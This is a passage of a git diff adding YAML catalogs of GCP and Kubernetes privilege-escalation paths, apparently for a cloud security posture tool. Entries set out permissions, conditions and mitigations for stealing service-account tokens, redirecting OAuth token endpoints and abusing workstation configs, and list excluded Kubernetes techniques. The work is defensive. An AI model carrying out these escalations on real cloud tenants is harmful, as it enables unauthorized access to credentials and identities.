authorized Google OAuth credential from Agent Identity + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-agent-identity-auth-manager-privesc.md#agentidentityauthprovidersretrievecredentials + summary: The source may use the existing Google OAuth authorization for an exact client user ID, limited to that authorization's active scopes. + requires: + all_of: + - action: agentidentity.authProviders.retrieveCredentials + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_agentidentity_retrieve_path: true + scope: any + outcome: bounded_authority + aggregate_as: Active Google OAuth authorizations available through Agent Identity + conditions: + - id: exact_active_authorization + description: Requires an enabled Google 3-legged OAuth provider and an active per-user authorization with a known exact client user ID and useful granted Google API scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Treat roles/agentidentity.user and custom roles with retrieveCredentials as credential-vault access. + references: + - https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders.authorizations/list + - https://docs.cloud.google.com/iam/docs/reference/agentidentitycredentials/rest/v1/projects.locations.authProviders.credentials/retrieve + notes: The client user ID is supplied by the client application and is not independently verified as a Workspace identity. The path grants only the scopes on the existing authorization and remains conditional until credential retrieval succeeds. +- provider: gcp + source_revision: 47bb6e8f32 + id: gcp-agentidentity-update-token-url + service: agentidentity + title: Change an Agent Identity auth provider's token endpoint to intercept future refreshes + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-agent-identity-auth-manager-privesc.md#agentidentityauthprovidersupdate-token-endpoint-interception + summary: The source could redirect an enabled Google OAuth provider's token endpoint and obtain a stored refresh token on a later refresh for an active authorization. + requires: + all_of: + - action: agentidentity.authProviders.update + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_agentidentity_update_path: true + scope: any + outcome: bounded_authority + aggregate_as: Active Google OAuth authorizations exposed by a changed token endpoint + conditions: + - id: exact_active_authorization + description: Requires an enabled Google 3-legged OAuth provider and an active per-user authorization with useful granted Google API scopes. + - id: later_refresh + description: A legitimate caller must refresh a stored authorization after the endpoint change; authorization metadata does not reveal whether a refresh token exists or is still valid. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict authProviders.update (roles/agentidentity.editor) and alert on authorization/token URL changes. + references: + - https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders/patch + - https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders.authorizations/list + notes: The client user ID is a lookup key, not proof of the consenting account's identity. The path remains conditional on a successful provider update and a later refresh sent to the changed endpoint. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/workstations.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/workstations.yaml new file mode 100644 index 0000000000..4c7712530c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/workstations.yaml @@ -0,0 +1,146 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Workstations privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloud-workstations-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: workstations_config -> SA pinned in an existing workstation config (host.gceInstance.serviceAccount); +# workstations_workstation -> SA of the config an existing workstation was created from. + +- id: gcp-workstations-config-create-actas + provider: gcp + service: workstations + title: Create a workstation config pinning a chosen service account and start a workstation from it + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#workstationsworkstationconfigscreate--actas--pin-an-arbitrary-sa-and-steal-its-token + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: workstations.workstationConfigs.create + resource: "*" + - action: workstations.workstations.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_workstations_create_config_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Workstations SA in {project}" + conditions: + - id: session_access + description: The creator receives roles/workstations.user on a new workstation; a custom image or startup script can also run code without a session. + - id: cluster + description: A workstation cluster must exist or be creatable (workstations.workstationClusters.create). + - id: access_scopes + description: The default token may carry only limited scopes; full power needs the config to request cloud-platform scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated workstation SAs; restrict workstations.workstationConfigs.create/update (roles/workstations.admin, roles/workstations.editor, roles/editor). + references: + - https://cloud.google.com/workstations/docs/access-control + notes: Omitting the SA uses a service-managed workstation VM identity, so there is no no-actAs path. +- id: gcp-workstations-config-update-code + provider: gcp + service: workstations + title: Update an existing workstation config's image or startup script to run code as its SA + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#code-exec-as-sa-via---container-custom-image----startup-script-uri-no-breakout-needed + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts pinned in workstation configs on which it holds workstations.workstationConfigs.update and iam.serviceAccounts.actAs on the pinned SA. + requires: + all_of: + - action: workstations.workstationConfigs.update + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: workstations_config + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: SAs pinned in updatable Cloud Workstations configs + conditions: + - id: workstation_boot + description: The payload runs when a workstation from the config next boots (started by its users or by the source with workstations.create/start). + - id: image_access + description: A custom image must be pullable by the pinned SA. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict workstations.workstationConfigs.update and monitor config changes to image and startup script fields. + notes: HackTricks @171e422 lists workstationConfigs.create/.update plus actAs on the pinned SA as the minimum permissions for the custom-image / startup-script code-execution path. +- id: gcp-workstations-use-existing-workstation + provider: gcp + service: workstations + title: Connect to an existing workstation (directly or after an IAM self-grant) and use its SA + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#workstationsworkstationconfigscreate--actas--pin-an-arbitrary-sa-and-steal-its-token + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts of existing workstations it can use or whose IAM policy it controls. + requires: + any_of: + - - action: workstations.workstations.use + resource: '{target.host_resource}' + - - action: workstations.workstations.setIamPolicy + resource: '{target.host_resource}' + - - action: workstations.workstationConfigs.setIamPolicy + resource: '{target.workstation_config}' + target: + kind: gcp_service_account + selector: + attached_to_service: workstations_workstation + gcp_workstations_use_existing_path: true + scope: same_project + aggregate_as: SAs of Cloud Workstations the source can connect to + conditions: + - id: scoped_config_actas + description: If the config sets service-account scopes, users also need actAs on the SA at launch/use time. + - id: stopped_workstation + description: A stopped workstation also needs workstations.workstations.start; an already running one needs only use. + - id: other_user_session + description: Using another developer's workstation also exposes that user's session data; IAM on workstations is granted per workstation or config. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Grant roles/workstations.user per workstation only to its owner and restrict workstations.*.setIamPolicy (roles/workstations.policyAdmin, roles/workstations.admin, roles/owner). + notes: Connection tokens from generateAccessToken cannot be revoked and last up to 24h. +- id: gcp-workstations-create-from-existing-config + provider: gcp + service: workstations + title: Launch a new workstation from an existing service-account-pinned config + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#workstationsworkstationconfigscreate--actas--pin-an-arbitrary-sa-and-steal-its-token + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service accounts pinned in existing Cloud Workstations configs on which it can create workstations, because the new workstation it owns runs as the config's SA. + requires: + all_of: + - action: workstations.workstations.create + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: workstations_config + gcp_workstations_create_from_config_path: true + scope: same_project + aggregate_as: SAs pinned in Cloud Workstations configs the source can launch from + conditions: + - id: session_access + description: The creator receives roles/workstations.user on the new workstation and can start and use it; roles/workstations.workstationLimitExemptedCreator alone has no create grant. + - id: scoped_config_actas + description: If the config sets service-account scopes, users also need actAs on the SA at launch/use time. + - id: access_scopes + description: The usable token is limited by the config's service-account scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Grant roles/workstations.workstationCreator only on configs whose SA is low privilege and keep privileged SAs out of shared workstation configs. + references: + - https://cloud.google.com/workstations/docs/access-control + notes: HackTricks @6fb9ac51fd states roles/workstations.workstationCreator can launch workstations only from existing configs, so its power depends on the SA those configs already carry. Creating the config with a chosen SA is gcp-workstations-config-create-actas. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml new file mode 100644 index 0000000000..aa2c4bfd7f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml @@ -0,0 +1,710 @@ +# Kubernetes / OpenShift HackTricks techniques reviewed and intentionally NOT modelled as +# principal -> principal privilege-escalation edges. Source rev a53b46392c, re-verified against 171e422 (see docs/privesc-ledgers/privesc-k8s.md); +# adversarial re-audit at a66f094ede (NEEDS SCHEMA rows reference privesc-schema-proposals-k8s.md). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#access-any-resource-with-a-specific-verb + technique: Single verb on all resources (e.g. get * or create *) + reason: Not a distinct permission set; the evaluator's wildcard expansion matches the specific entries (secrets read, pods create, serviceaccounts/token create...). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#pod-security-mode-effects + technique: Stealthy pod naming/placement + reason: Evasion advice; same permissions as pods create. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#podsportforward-network-access + technique: pods/portforward + reason: Network access to a pod listener; no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-interactive-subresources + technique: pods/proxy and services/proxy + reason: HTTP proxying to backends (network pivot); no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#host-log-symlink-file-reads + technique: Writable /var/log hostPath symlink escape via kubelet logs + reason: Creating such a pod is subsumed by k8s-nodes-privileged-pod-create (any hostPath is PSA-baseline-blocked); for existing pods the kubelet log-symlink read is kubelet-version dependent and yields a host file read, so writable /var/log is deliberately not counted by k8s_node_hosting_host_mount_pod_in_namespace. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/storage-and-networking.md#bypassing-hostpath-readonly-protection + technique: Bypassing hostPath readOnly + reason: Refinement of hostPath pod creation (same permissions, same target, PSA blocker identical). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/secrets-and-configmaps.md#legacy-token-secret-name-guessing + technique: Brute-forcing legacy token Secret names with get + reason: Covered by k8s-rbac-secrets-read-legacy-sa-token (get_requires_secret_name condition). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#encryption-configuration-found-on-a-control-plane-node + technique: EncryptionConfiguration keys on control-plane hosts + reason: Data read from a host already compromised; no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#coredns-config-map + technique: CoreDNS ConfigMap modification + reason: DNS traffic redirection (network attack); no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#escalating-in-gke + technique: GKE RoleBinding self-grant without exact authenticated subject and permission proof + reason: The narrow get-pods self-grant is active only with a unique reviewed source, accepted binding and before/after permission proof. A RoleBinding write or GCP IAM container.* grant alone cannot prove the source controls the bound subject or gained Kubernetes permission. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#validatingwebhookconfigurations-or-mutatingwebhookconfigurations + technique: ValidatingWebhookConfiguration create + reason: A new validating webhook can only admit/deny and observe objects (data disclosure); identity gain is through mutating webhooks (k8s-workloads-mutating-webhook-injection) and weakening existing configurations is k8s-admission-webhook-configuration-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#services-status-cve-2020-8554 + technique: services/status LoadBalancer IP spoofing (CVE-2020-8554) + reason: Traffic interception (MiTM); no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-and-pods-status + technique: pods/status and nodes/status readiness/IP/label spoofing (traffic paths) + reason: "Readiness/IP/label spoofing for Services, EndpointSlices and NetworkPolicy is traffic manipulation without a new identity. Identity-bearing combinations are modelled: node attraction of pending pods (nodes/status labels or capacity, pods/status nominatedNodeName) in k8s-nodes-attract-pending-pod-to-controlled-node, replacement via pods/status in k8s-nodes-replacement-pod-to-controlled-node, pods/binding and bindings create in k8s-nodes-pods-binding-pending-pod-to-controlled-node." +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#legacy-status-metadata-and-controller-deputies + technique: Legacy status metadata writes and controller deputies (ownerReferences GC, quota, PDB, Job/CronJob status) + reason: Deletion, availability and policy-scope effects; namespaces/status label change is modelled in k8s-nodes-namespace-psa-relabel; the rest grant no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#policy-and-scheduling-control-objects + technique: NetworkPolicy writes, ClusterTrustBundle writes + reason: NetworkPolicy writes reopen traffic and ClusterTrustBundle writes change TLS trust for opted-in pods; neither yields an identity. Node label scheduling is modelled in k8s-nodes-attract-pending-pod-to-controlled-node; Kyverno/Gatekeeper object writes are modelled in k8s-admission-kyverno-policy-weaken and k8s-admission-gatekeeper-constraint-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/rbac-objects.md#diagnostic-non-resource-urls + technique: /debug/* and /metrics non-resource URLs + reason: Diagnostic data disclosure. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#create-or-patch-rolebindingsclusterrolebindings + technique: RoleBinding/ClusterRoleBinding writes without bind + reason: Escalation prevention only allows binding roles whose permissions the caller already holds (delegation/persistence, not escalation). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#built-in-privileged-escalation-prevention + technique: Role/ClusterRole creation without escalate + reason: Kubernetes rejects roles containing permissions the creator lacks; no escalation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#sidecar-template-changes + technique: Sidecar proxy app + reason: Uses pods/controller create or modify already modelled in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#malicious-admission-controller + technique: Malicious mutating admission controller deployment + reason: Same permissions as k8s-workloads-mutating-webhook-injection (duplicate). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#opa-gatekeeper-bypass + technique: OPA Gatekeeper bypass + reason: Pointer to the Gatekeeper pages; constraint/template/config writes are k8s-admission-gatekeeper-constraint-weaken, webhook configuration writes k8s-admission-webhook-configuration-weaken, excluded-namespace creation k8s-admission-policy-engine-excluded-namespace. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#authorizer-match-condition-grants + technique: Custom verbs used by authorizer match conditions + reason: "NEEDS SCHEMA: privesc-schema-proposals-k8s.md#p2-admission-matchcondition-authorizer-placeholders (the required custom verb/group/resource/name come from live matchConditions CEL, so a static requirement cannot name them; blocker removal for admission_policy/admission_webhook)." +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#validatingadmissionpolicy-parameter-object-writes + technique: ValidatingAdmissionPolicy parameter object writes + reason: "NEEDS SCHEMA: privesc-schema-proposals-k8s.md#p3-vap-param-placeholders (the parameter object's resource, name and namespace come from the enforcing binding's paramRef and the policy's paramKind; resource_match any would be over-broad)." +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kyverno-bypass.md#abusing-policies-misconfiguration + technique: Kyverno policy misconfiguration / exclusions + reason: Exempt-subject bypass only decides whether the kyverno_policy blocker applies to a source; that blocker is never 'blocked' (policies are not collected, only possibly_blocked), so no reach is lost. Kyverno policy and PolicyException writes are k8s-admission-kyverno-policy-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/opa-gatekeeper-bypass.md#abusing-misconfiguration + technique: Gatekeeper excluded namespaces + reason: Excluded-namespace use only decides whether the gatekeeper_constraint blocker applies; that blocker is never 'blocked' (constraints are not collected), so no reach is lost. Creating an excluded namespace is k8s-admission-policy-engine-excluded-namespace; constraint/config writes are k8s-admission-gatekeeper-constraint-weaken. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#kubernetes-traffic-object-writes + technique: Service/Endpoints/EndpointSlice/ExternalName redirection, pod-label hijack, create-only name squatting + reason: Traffic redirection; no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#ingress-creation-and-route-replacement + technique: Ingress and Gateway API HTTPRoute exposure/replacement/mirroring + reason: Traffic exposure/interception; captured credentials are not derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#status-based-traffic-interception + technique: Status-based traffic interception + reason: Traffic interception only. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#arp-spoofing-in-pods-in-the-same-node + technique: ARP / DNS spoofing between pods + reason: Network attack requiring NET_RAW in a pod; no new identity derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#dns-spoofing-via-coredns-configmap + technique: DNS spoofing via CoreDNS ConfigMap + reason: Traffic redirection. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#abusing-writable-hostpathbind-mounts-container---host-root-via-suid-planting + technique: SUID planting through writable hostPath mounts + reason: Requires a host user executing the planted binary; node-level access via hostPath already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#dosing-other-nodes + technique: Node DoS + reason: Disruption only. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#steal-secrets + technique: Stealing pod tokens from the node filesystem + reason: Same reach as k8s-nodes-node-mint-pod-sa-tokens (SAs of pods on the node); duplicate. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#image-pull-and-registry-credentials + technique: Image pull / registry credentials on nodes + reason: Registry credentials are data access; any cloud identity is covered by k8s-cloud-node-cloud-identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#privileged-daemonsets + technique: Privileged DaemonSets on the node + reason: Covered by k8s-nodes-exec-into-host-privileged-pod and k8s-nodes-node-mint-pod-sa-tokens. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#etcd-post-exploitation + technique: Reading Secrets from etcd + reason: Data read from a control-plane node; covered by k8s-nodes-control-plane-node. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#staticmirrored-pods-persistence + technique: Static/mirror pods + reason: Persistence; the API server rejects mirror pods referencing ServiceAccounts, Secrets or ConfigMaps, so no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#search-vulnerable-network-services + technique: Scanning/sniffing in-cluster services + reason: Network reconnaissance. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#kube-apiserver-anonymous-resource-apis + technique: Anonymous API server access + reason: Exposure; anonymous bindings are evaluated as RBAC on system:anonymous/system:unauthenticated by the evaluator's group membership semantics. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#kubelet-https-api-and-legacy-read-only-port + technique: Unauthenticated kubelet API (anonymous auth, AlwaysAllow) + reason: Network exposure finding (kubelet config is not collected); not a principal-to-principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#etcd-anonymous-cluster-state-access + technique: Anonymous etcd access + reason: Network exposure finding. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/kubelet-authentication-and-authorization.md#kubelet-authorization + technique: nodes/checkpoint and other kubelet subresources + reason: Container checkpoint yields memory/data of a container (data read); nodes/proxy is modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#eks-governance-guardrails + technique: EKS governance condition keys / SCPs + reason: Guardrails, not an escalation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#azure--aks + technique: Azure-to-Kubernetes kubeconfig retrieval (listClusterAdminCredential, local accounts) and AKS NAP/NodePool writes + reason: Azure RBAC edges belong to the azure catalog; NodePool/AKSNodeClass writes are scheduling manipulation without a derivable identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#azure--aks + technique: Deprecated AAD pod-managed identity (NMI/MIC, AzureIdentityBinding) + reason: Deprecated mechanism, CRDs not collected; target not derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#assembling-the-pieces + technique: External Secrets Operator ExternalSecret creation against a ClusterSecretStore + reason: Reads external secret-manager values (data access); the resulting identity, if any, is not derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#other-helm-escalation-inputs + technique: Helm chart, dependency, hook, tpl/lookup and post-renderer inputs + reason: Helm uses the caller's own Kubernetes identity; escalation only arises through a more privileged renderer (CI job or GitOps controller), modelled for Flux in k8s-workloads-flux-helmrelease-controller-identity and Argo CD in k8s-workloads-argocd-application-controller-identity; CI runners and plugins are not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#rbac-roles-subjects-and-bindings + technique: system:masters membership and default bindings + reason: Group membership semantics handled by the evaluator, not a technique. +- source: src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md#possible-privescpivoting-scenarios + technique: Jenkins Kubernetes plugin build pod YAML overrides + reason: Source is a Jenkins user, not a Kubernetes principal; the pod is created with the Jenkins agent ServiceAccount, which reduces to pods create (modelled). +- source: src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md#jenkins-build-pod-yaml-override + technique: Triggering Jenkins builds in OpenShift + reason: Same as build overrides; non-Kubernetes source principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md + technique: SecurityContext hardening reference + reason: Hardening guidance; no technique. +# ---- catalog refresh 171e422: HEAD headings with no separate edge ---- +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#starting-from-an-existing-pod-foothold + technique: Pod foothold boundary review + reason: Assessment guidance; the pod's ServiceAccount, node and cloud identities are separate principals already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#escaping-from-the-pod + technique: Generic Linux container escape references + reason: Pointer to Linux privilege-escalation pages; the Kubernetes-visible escape primitives are modelled by k8s-nodes-exec-into-host-privileged-pod and k8s-nodes-exec-into-host-mount-pod. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#establish-an-actual-host-escape-path + technique: Host escape surface table (mounts, host namespaces, capabilities, runtime) + reason: Classification reference implemented by the k8s_node_hosting_privileged_pod_in_namespace and k8s_node_hosting_host_mount_pod_in_namespace selectors (hostNetwork/hostPID/hostIPC alone are not escapes). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#host-namespace-capability-and-device-paths + technique: SYS_ADMIN / SYS_PTRACE+hostPID / DAC_READ_SEARCH / SYS_MODULE / MKNOD / NET_ADMIN capability paths + reason: Covered by k8s-nodes-exec-into-host-privileged-pod (SYS_ADMIN, SYS_MODULE, DAC_READ_SEARCH, ALL and SYS_PTRACE with hostPID match conditionally); MKNOD/SYS_RAWIO need an exposed device and NET_ADMIN/NET_RAW give no host identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#creating-an-escape-capable-pod-through-the-api + technique: Escape-capable pod creation (nodeName, kubectl debug node) + reason: Covered by k8s-nodes-privileged-pod-create and k8s-nodes-privileged-controller-create (kubectl debug node is ordinary pod creation). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#abusing-kubernetes-privileges + technique: Using the pod ServiceAccount's RBAC + reason: Pointer to the RBAC techniques modelled in rbac.yaml and workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#abusing-cloud-privileges + technique: Using the pod's cloud identity + reason: Pointer to cloud pivots modelled in cloud_pivot.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#network-spoofing + technique: In-cluster network spoofing + reason: Network attack without a new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#automatic-tools + technique: Automated tooling + reason: Tool list, not a technique. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#abuse-k8s-privileges + technique: Cross-namespace RBAC abuse + reason: Covered by the RBAC and workload entries (bindings, impersonation, token minting, pod creation in other namespaces). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#cross-namespace-identity-review + technique: Cross-namespace binding review + reason: Enumeration guidance; cross-namespace RoleBinding subjects are evaluated as RBAC. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#node-compromise-and-namespace-isolation + technique: Node compromise crossing namespaces + reason: Covered by k8s-nodes-node-mint-pod-sa-tokens (node identity to ServiceAccounts of its pods). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#cloud-to-cluster-trust-paths + technique: Cloud principal mapped into the cluster + reason: Cloud-side mappings (EKS access entries, aws-auth, GKE IAM, AKS credentials) are modelled in cloud_pivot.yaml and the cloud catalogs. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#verify-the-cloud-to-kubernetes-bridge + technique: Verifying cloud-to-cluster kubeconfig access + reason: Assessment guidance; kubeconfig retrieval grants no Kubernetes authorization by itself. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#cloud-controllers-as-an-indirect-privilege-path + technique: Cloud controllers acting on Kubernetes objects (LoadBalancer, snapshots, DNS, external secrets) + reason: Exposure or data access through controller identities; the resulting cloud identity gain is controller- and policy-specific and not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#direct-gke-workload-principals-and-node-boundaries + technique: Direct IAM grants to GKE workload principals + reason: The grant lives in GCP IAM on principal://.../ns//sa/ members; the KSA side is the same as k8s-cloud-gke-workload-identity and the GCP evaluator owns the IAM side. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#gke-iam-permissions-node-pools-and-autopilot-exceptions + technique: GKE IAM container.* permissions and Autopilot allowlists + reason: GCP-side permissions (container.pods.create, roles.bind/escalate) are owned by the GCP catalog; Autopilot WorkloadAllowlist is admission configuration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#eks-auto-mode-node-configuration + technique: EKS Auto Mode NodePool/NodeClass writes selecting a node IAM role + reason: Infrastructure change through a controller; the node role still has to be reached through a node (modelled by k8s-cloud-node-cloud-identity); NodeClass objects are not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#find-pods-a-sas-with-iam-roles-in-the-cluster + technique: Finding ServiceAccounts with IAM roles + reason: Enumeration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#steal-iam-role-token + technique: Reading node IAM role credentials from IMDS + reason: Covered by k8s-cloud-node-cloud-identity, k8s-cloud-pod-imds-node-identity and k8s-cloud-hostnetwork-pod-node-identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/README.md#critical-permissions + technique: Critical permission summary table + reason: Index of techniques mapped individually in the subpages. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/api-object-operations.md#create-and-remove-a-pod + technique: Pod create/delete lab procedure + reason: Operational procedure; the escalation is k8s-workloads-pods-create. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/api-object-operations.md#create-and-remove-serviceaccounts-roles-and-bindings + technique: ServiceAccount/Role/binding create-delete lab procedure + reason: Operational procedure; RBAC writes are only escalations with bind/escalate (rbac.yaml). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/api-object-operations.md#manually-created-serviceaccount-token-secret + technique: Manually created ServiceAccount token Secret + reason: Covered by k8s-rbac-secrets-create-sa-token-secret. +- source: 